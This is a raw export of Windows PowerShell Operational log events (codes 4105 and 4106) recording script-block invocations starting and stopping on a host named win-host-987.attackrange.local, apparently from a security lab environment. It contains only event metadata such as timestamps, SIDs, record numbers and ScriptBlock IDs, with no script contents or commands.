Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023497
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023495
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023513
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023511
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023510
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023509
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023508
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023507
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023506
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023505
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023524
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023523
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023521
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023519
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023517
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023515
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023533
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023532
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023531
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023529
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023528
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023527
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023526
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023525
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023543
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023542
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023541
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023540
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023539
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023537
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023535
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023553
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023551
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023550
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023549
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023547
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023545
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
